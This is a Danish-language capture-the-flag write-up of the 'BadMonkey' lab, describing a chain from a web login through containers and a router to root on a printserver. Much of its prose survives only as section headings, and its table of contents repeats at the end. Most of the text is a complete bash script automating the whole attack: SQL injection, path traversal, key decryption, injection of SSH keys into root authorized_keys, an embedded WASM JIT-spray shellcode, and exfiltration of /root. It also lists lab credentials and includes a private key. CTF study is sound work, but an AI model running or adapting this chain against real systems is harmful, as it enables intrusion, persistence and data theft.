BadMonkey CTF Writeup

Tre SSH-lignende-porte (22, 2200, 2222). Port 80 er altid et godt sted at starte.

Webservice (Port 80)

<!--
    TODO: Check for vulnerabilities before deploying!

    I ran this "Secure Vault" through our security scanner and uh...
    let's just say calling it "secure" is doing some HEAVY lifting!

    This AI-generated masterpiece might have more holes than swiss cheese.
    I counted at least 2 potential vulns before my coffee got cold.

    But sure, ship it to prod on a Friday, what could go wrong?

    - pamela
    P.S. If you're reading this in a breach report... I TOLD YOU SO
-->

SQL Injection

Siden har en login-form der poster til /secrets. Vi prøver med tilfældige credentials:

SSH Adgang

Den anden vulnerability

Pamela nævnte 2 vulnerabilities. Vi fandt SQL injection. Hvad er den anden? robots.txt er kendt for at give hints:

Dekryptering

Kig omkring på webcontainer (1ee55c34929d)

Filer i /home/user

chat.log

network.md

.bash_history

/etc/group

Pamela er i docker gruppen - det giver adgang til Docker socket. Og gruppe 1337 hedder “pwpolicy”?

hostconf/

Hostcontainer Entry

SSH med den dekrypterede nøgle

Vi kan ssh’e fra vores lokale maskine og bruge 192.168.114.122 som proxy jump host. Det tog et par forsøg at gætte 2222 som ssh porten på hostcontainer.

ssh -i id_ed25519 -p 2222 -o ProxyJump=user@192.168.122.114 user@172.17.0.1

Veje til hostcontainer som root

Path traversal nøglen giver os user@hostcontainer. Men vi finder også to veje til root@hostcontainer:

Docker CA Crack (som user)

I hostconf/ mappen (user’s home) finder vi filer til at generere Docker TLS certifikater.

q = sympy.nextprime(p + (2 ^ 1024))

Så q = nextprime(p + 1026) - p og q er tæt på hinanden og Fermats faktoriseringsmetode kan bruges:

PAM Backdoor + docker.sock (som pamela)

Efter at reverse-engineere binæren finder vi password-reglerne. Det er strings som afslører fejlbeskeder og bare hovedet mod muren med pamela’s bruger/pass som giver os hints:

Pamela er i docker gruppen, og webcontainer har /var/run/docker.sock mounted.

Hostcontainer Reconnaissance

Vi er nu på hostcontainer (som user eller root afhængig af hvilken vej vi tog).

Netværk

sudo -l (som user)

Interessant - vi kan køre apt install som root. Det er en potentiel privesc-vektor (ondsindet .deb, pre/post-install scripts), men vi har allerede root via Docker CA, så vi går videre.

Router

Router Entry Exploits

BPF Shell (port 666)

Den venter på input. Vi finder binæren /root/git/bpf/baby-passes-filters og analyserer den.

PWN1 (port 55)

char buf[0x10];               // 16 bytes
fgets(buf, 0x100000, stdin);  // Læser 1MB!
asm("jmp *%rbp");             // Hopper til stack

jmp *%rbp hopper til adressen gemt i base pointer - som peger på vores buffer efter overflow.

LCG Password Crack

Router Reconnaissance

Netværk

Scanning 10.0.67.0/24

Loot på router

Et hardcoded password til printserver. Men router kan ikke nå printserver direkte - den er på et andet subnet (192.168.249.0/28).

Kildekode på router

Host	IP	Port
wat	10.0.67.102	3000
noted	10.0.67.199	7000
saas	10.0.67.110	-

I /root/git/ finder vi kildekode til backend services. Og noget meget interessant i nspawn configs:

# /etc/systemd/nspawn/wat.nspawn
[Files]
Bind=/root

[Exec]
PrivateUsers=no

Bind=/root med PrivateUsers=no! Container root = host root. Hvis vi får RCE i en container, kan vi skrive til printserverens /root.

WAT Service Analyse

WAT (10.0.67.102:3000) er interessant. Det er en web assembly/WASM compiler service.

V8 Patch

V(JmpRel, 0xcc, _, "jmp")

void JmpRel(FullDecoder* decoder, int32_t value) {
    __ jmp_rel(value);
}

En custom WASM opcode der emitterer et x86 jmp med attacker-kontrolleret offset. Ingen bounds checking.

JIT Spray Exploit

Exploit Execution

Printserver Root

Loot

Opsummering

Credentials

Attack Path

Exploits

Automatisering

Hele attack chain er automatiseret i et enkelt script der kører alle exploits og exfiltrerer data:

System	User	Credential	Metode
webcontainer	user	`hunter2`	SQL Injection
webcontainer	pamela	`Mowwnn4?a?4nnwwoM`	PAM reverse engineering
hostcontainer	user	Path traversal key	AES decrypt
hostcontainer	root	Docker CA cert	Fermat factorization
router	root	`channel_oversold_trillion_zoning`	BPF bytecode
router	root	`X@@z:jO:0C/>T;wD`	LCG crack
printserver	vpn	`smirk_september_procedure_washer`	-
printserver	root	WAT exploit key	JIT spray

./full_chain_standalone.sh [--cleanup] [webcontainer_ip] [output_dir]

Komplet Script

#!/bin/bash
#
# Full Chain: SQL Injection -> Path Traversal -> BPF -> WAT -> Printserver Root
#
# STANDALONE VERSION - Ingen eksterne afhængigheder
#
# Brug: ./full_chain_standalone.sh [--cleanup] [webcontainer_ip] [output_dir]
#
# Krav: curl, openssl, sshpass, ssh-copy-id, ssh, tar, xxd, base64
#
# === EXPLOIT CHAIN OPSUMMERING ===
#
# Step 1: SQL Injection (webcontainer:80)
#         POST /secrets med "admin' OR '1'='1" -> credentials (user:hunter2)
#
# Step 2: SSH Key Upload (webcontainer:22)
#         sshpass + ssh-copy-id -> session key til webcontainer
#
# Step 3: Path Traversal (webcontainer:80)
#         GET /..%2fid_ed25519.aescbc -> krypteret hostcontainer SSH key
#
# Step 4: AES Dekryptering
#         AES-128-CBC, key=MD5("AAAAA"), IV=første 16 bytes
#         -> hostcontainer SSH key (user)
#
# Step 5: BPF Shell (router:666 via hostcontainer)
#         nc 10.0.42.1 666 med password "channel_oversold_trillion_zoning"
#         -> injicerer SSH key til router root
#
# Step 6: WAT WASM Exploit (wat:3000 via router)
#         POST /runwasm med shellcode WASM
#         JIT spray exploit -> execve("/bin/sh", "-c", "echo key >> authorized_keys")
#         Container har Bind=/root -> skriver til printserver's /root
#
# Step 7: Printserver Root (printserver:2200 via hostcontainer)
#         SSH med injiceret key -> tar /root -> exfil
#
# === NETVÆRKSFLOW ===
#
#   Attacker -> webcontainer (192.168.122.114)
#                   |
#                   v (Docker: 172.17.0.1:2222)
#              hostcontainer
#                   |
#                   +---> router (10.0.42.1) ---> wat (10.0.67.102:3000)
#                   |                                    |
#                   |                              [WASM exploit]
#                   |                                    |
#                   |                                    v
#                   +---> printserver (gateway:2200) <---+
#                              |
#                              v
#                         /root exfil
#

set -e

WORKDIR=$(mktemp -d)

# === Embedded exploit filer (base64) ===
EXPLOIT_WASM_B64="AGFzbQEAAAABBAFgAAADAgEABQMBAAEIAQAKUwFRAEEAQsia5oOUxvT1CTcDAEEIQtKQtYyEitT1BjcDAEEQQsiahsKE6tX1BjcDAEEYQsiSmo+DmOT1BjcDAEEgQrD3vKiAkqTIkH83AwDMuX8LC6wBAQBBwAALpAEvYmluL3NoAC1jAAAAAAAAbWtkaXIgLXAgL3Jvb3QvLnNzaDtlY2hvICdzc2gtZWQyNTUxOSBBQUFBQzNOemFDMWxaREkxTlRFNUFBQUFJSVpET1c5eWM0Wmw0VjNNMWhBVHlHdVVicEtZMHZKeFI2emVFRGFFcnFrMSBleHBsb2l0QHdhdCc+Pi9yb290Ly5zc2gvYXV0aG9yaXplZF9rZXlzAA=="

EXPLOIT_KEY_CONTENT="-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACCGQzlvcnOGZeFdzNYQE8hrlG6SmNLycUes3hA2hK6pNQAAAJAlGJ3gJRid
4AAAAAtzc2gtZWQyNTUxOQAAACCGQzlvcnOGZeFdzNYQE8hrlG6SmNLycUes3hA2hK6pNQ
AAAEB08aVFei1tjr/EW/ijfvgTg1vgZcBOscMbFM6J00puyIZDOW9yc4Zl4V3M1hATyGuU
bpKY0vJxR6zeEDaErqk1AAAAC2V4cGxvaXRAd2F0AQI=
-----END OPENSSH PRIVATE KEY-----"

EXPLOIT_PUBKEY="ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIZDOW9yc4Zl4V3M1hATyGuUbpKY0vJxR6zeEDaErqk1 exploit@wat"

# Parse argumenter
DO_CLEANUP=false
POSITIONAL=()

while [[ $# -gt 0 ]]; do
    case $1 in
        --cleanup)
            DO_CLEANUP=true
            shift
            ;;
        *)
            POSITIONAL+=("$1")
            shift
            ;;
    esac
done

WEBCONTAINER="${POSITIONAL[0]:-192.168.122.114}"
OUTDIR="${POSITIONAL[1]:-.}"

GREEN='\033[0;32m'
RED='\033[0;31m'
NC='\033[0m'

log() { echo -e "${GREEN}[+]${NC} $1"; }
err() { echo -e "${RED}[-]${NC} $1"; exit 1; }

cleanup() { rm -rf "$WORKDIR"; }
trap cleanup EXIT

# === Targets (relative til webcontainer) ===
HOSTCONTAINER="172.17.0.1"
HOSTCONTAINER_PORT="2222"
ROUTER="10.0.42.1"
WAT="10.0.67.102:3000"
PRINTSERVER_PORT="2200"

# === Hardcoded secrets ===
BPF_PASS="channel_oversold_trillion_zoning"
AES_PASSPHRASE="AAAAA"

# Check dependencies
for cmd in curl openssl sshpass ssh-copy-id ssh tar xxd base64; do
    command -v $cmd &>/dev/null || err "$cmd ikke fundet"
done

# Skriv embedded filer til WORKDIR
echo "$EXPLOIT_KEY_CONTENT" > "$WORKDIR/exploit_key"
chmod 600 "$WORKDIR/exploit_key"

SSH_OPTS="-o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o LogLevel=ERROR"

echo ""
echo "================================================================"
echo "  Full Chain: Attacker -> Printserver Root (STANDALONE)"
echo "  Target: $WEBCONTAINER"
echo "  SQL Injection -> Path Traversal -> BPF Shell -> WAT Exploit"
echo "================================================================"
echo ""

# === Step 1: SQL Injection -> credentials ===
log "Step 1/7: SQL Injection -> henter credentials..."

SQLI_RESPONSE=$(curl -s -X POST \
    -d "username=admin' OR '1'='1&password=whatever" \
    "http://${WEBCONTAINER}/secrets")

WEB_USER=$(echo "$SQLI_RESPONSE" | grep -oP 'Username: \K[^\n<]+' | tr -d '\r')
WEB_PASS=$(echo "$SQLI_RESPONSE" | grep -oP 'Password: \K[^\n<]+' | tr -d '\r')

[ -n "$WEB_USER" ] && [ -n "$WEB_PASS" ] || err "SQL Injection fejlede"
log "  OK Credentials: $WEB_USER:$WEB_PASS"

# === Step 2: Generer session key og upload til webcontainer ===
log "Step 2/7: Genererer session key og uploader til webcontainer..."
log "  -> sshpass + ssh-copy-id ${WEB_USER}@${WEBCONTAINER}"

ssh-keygen -t ed25519 -f "$WORKDIR/sessionkey" -N "" -q

sshpass -p "$WEB_PASS" ssh-copy-id -i "$WORKDIR/sessionkey.pub" \
    $SSH_OPTS "${WEB_USER}@${WEBCONTAINER}" 2>/dev/null

log "  OK Session key uploadet til webcontainer"

# === Step 3: Path Traversal -> krypteret SSH key ===
log "Step 3/7: Path Traversal -> henter krypteret SSH key..."

curl -s "http://${WEBCONTAINER}/..%2fid_ed25519.aescbc" -o "$WORKDIR/key.enc"
[ -s "$WORKDIR/key.enc" ] || err "Path Traversal fejlede"
log "  OK Hentet id_ed25519.aescbc"

# === Step 4: Dekrypter SSH key ===
log "Step 4/7: Dekrypterer SSH key (AES-CBC, MD5('$AES_PASSPHRASE'))..."

AES_KEY=$(echo -n "$AES_PASSPHRASE" | md5sum | cut -d' ' -f1)
AES_IV=$(head -c 16 "$WORKDIR/key.enc" | xxd -p)
tail -c +17 "$WORKDIR/key.enc" | openssl enc -aes-128-cbc -d -K "$AES_KEY" -iv "$AES_IV" > "$WORKDIR/hostkey"
chmod 600 "$WORKDIR/hostkey"
log "  OK SSH key dekrypteret"

# === Step 5: BPF shell -> router ===
log "Step 5/7: Forbinder til hostcontainer, BPF shell til router..."
log "  -> SSH ${WEB_USER}@${WEBCONTAINER} (session key)"
log "  -> SSH user@${HOSTCONTAINER}:${HOSTCONTAINER_PORT} (decrypted key)"
log "  -> BPF shell ${ROUTER}:666"

# Generer router session key
ssh-keygen -t ed25519 -f "$WORKDIR/routerkey" -N "" -q
ROUTER_PUBKEY=$(cat "$WORKDIR/routerkey.pub")

# Opret midlertidig ssh_config
cat > "$WORKDIR/ssh_config" << EOF
Host webcontainer
    HostName $WEBCONTAINER
    User $WEB_USER
    IdentityFile $WORKDIR/sessionkey
    StrictHostKeyChecking no
    UserKnownHostsFile /dev/null

Host hostcontainer
    HostName $HOSTCONTAINER
    Port $HOSTCONTAINER_PORT
    User user
    IdentityFile $WORKDIR/hostkey
    ProxyJump webcontainer
    StrictHostKeyChecking no
    UserKnownHostsFile /dev/null
EOF

# Send BPF kommandoer
ssh -T -F "$WORKDIR/ssh_config" hostcontainer << ENDSSH
{
    echo '$BPF_PASS'
    sleep 0.3
    echo 'mkdir -p /root/.ssh'
    sleep 0.3
    echo 'chmod 700 /root/.ssh'
    sleep 0.3
    echo 'echo "$ROUTER_PUBKEY" >> /root/.ssh/authorized_keys'
    sleep 0.3
    echo 'chmod 600 /root/.ssh/authorized_keys'
    sleep 0.3
} | nc -q 2 10.0.42.1 666 2>/dev/null
true
ENDSSH

log "  OK Router SSH key injiceret"

# Find printserver IP dynamisk
PRINTSERVER=$(ssh -T -F "$WORKDIR/ssh_config" hostcontainer "ip route show default dev host0 2>/dev/null | awk '{print \$3}'" 2>/dev/null | tr -d '\r\n')
if [ -z "$PRINTSERVER" ]; then
    err "Kunne ikke finde printserver IP fra hostcontainer"
fi
log "  -> Printserver IP: $PRINTSERVER"

# === Step 6: WAT exploit via router ===
log "Step 6/7: Forbinder til router, sender WAT exploit..."
log "  -> SSH root@${ROUTER} (router key)"
log "  -> curl http://${WAT}/runwasm"

cat >> "$WORKDIR/ssh_config" << EOF

Host router
    HostName $ROUTER
    User root
    IdentityFile $WORKDIR/routerkey
    ProxyJump hostcontainer
    StrictHostKeyChecking no
    UserKnownHostsFile /dev/null
EOF

ssh -T -F "$WORKDIR/ssh_config" router \
    "echo $EXPLOIT_WASM_B64 | base64 -d > /tmp/e.wasm && curl -s -X POST -H 'Content-Type: application/octet-stream' --data-binary @/tmp/e.wasm http://${WAT}/runwasm; rm -f /tmp/e.wasm"

log "  OK WAT exploit kørt -> SSH key injiceret på printserver"

# === Step 7: Kopier /root fra printserver ===
log "Step 7/7: Forbinder til printserver, kopierer /root..."
log "  -> SSH root@${PRINTSERVER}:${PRINTSERVER_PORT} (exploit key)"

sleep 1

cat >> "$WORKDIR/ssh_config" << EOF

Host printserver
    HostName $PRINTSERVER
    Port $PRINTSERVER_PORT
    User root
    IdentityFile $WORKDIR/exploit_key
    ProxyJump hostcontainer
    StrictHostKeyChecking no
    UserKnownHostsFile /dev/null
EOF

mkdir -p "$OUTDIR/printserver_root"

ssh -T -F "$WORKDIR/ssh_config" printserver \
    "tar czf - /root 2>/dev/null" | tar xzf - -C "$OUTDIR/printserver_root" --strip-components=1 2>/dev/null || true

log "  OK /root kopieret"

# Gem exploit key til output
echo "$EXPLOIT_KEY_CONTENT" > "$OUTDIR/printserver_root_key"
chmod 600 "$OUTDIR/printserver_root_key"

# === Step 8 (optional): Cleanup ===
if [ "$DO_CLEANUP" = true ]; then
    log "Step 8/8: Cleanup - fjerner injicerede SSH keys..."

    SESSION_PUBKEY=$(cat "$WORKDIR/sessionkey.pub")
    ROUTER_PUBKEY=$(cat "$WORKDIR/routerkey.pub")

    log "  -> Fjerner exploit key fra printserver..."
    ssh -T -F "$WORKDIR/ssh_config" printserver \
        "grep -v '$(echo "$EXPLOIT_PUBKEY" | awk '{print $2}')' /root/.ssh/authorized_keys > /root/.ssh/authorized_keys.tmp && mv /root/.ssh/authorized_keys.tmp /root/.ssh/authorized_keys" 2>/dev/null || true

    log "  -> Fjerner router key fra router..."
    ssh -T -F "$WORKDIR/ssh_config" router \
        "grep -v '$(echo "$ROUTER_PUBKEY" | awk '{print $2}')' /root/.ssh/authorized_keys > /root/.ssh/authorized_keys.tmp && mv /root/.ssh/authorized_keys.tmp /root/.ssh/authorized_keys" 2>/dev/null || true

    log "  -> Fjerner session key fra webcontainer..."
    ssh -T -i "$WORKDIR/sessionkey" $SSH_OPTS "${WEB_USER}@${WEBCONTAINER}" \
        "grep -v '$(echo "$SESSION_PUBKEY" | awk '{print $2}')' ~/.ssh/authorized_keys > ~/.ssh/authorized_keys.tmp && mv ~/.ssh/authorized_keys.tmp ~/.ssh/authorized_keys" 2>/dev/null || true

    log "  OK Cleanup gennemført"
fi

echo ""
echo "================================================================"
echo "  DONE"
echo "================================================================"
echo ""
log "Printserver /root -> $OUTDIR/printserver_root/"
log "SSH key          -> $OUTDIR/printserver_root_key"
if [ "$DO_CLEANUP" = true ]; then
    log "Cleanup          -> SSH keys fjernet fra targets"
fi
echo ""

Start

Find VM’en

Port Scanning

Webservice (Port 80)

SQL Injection

SSH Adgang

Den anden vulnerability

Dekryptering

Kig omkring på webcontainer (1ee55c34929d)

Filer i /home/user

chat.log

network.md

.bash_history

/etc/group

hostconf/

Hostcontainer Entry

SSH med den dekrypterede nøgle

Veje til hostcontainer som root

Docker CA Crack (som user)

PAM Backdoor + docker.sock (som pamela)

Hostcontainer Reconnaissance

Netværk

sudo -l (som user)

Router

Router Entry Exploits

BPF Shell (port 666)

PWN1 (port 55)

LCG Password Crack

Router Reconnaissance

Netværk

Scanning 10.0.67.0/24

Loot på router

Kildekode på router

WAT Service Analyse

V8 Patch

JIT Spray Exploit

Exploit Execution

Printserver Root

Loot

Opsummering

Credentials

Attack Path

Exploits

Automatisering

Komplet Script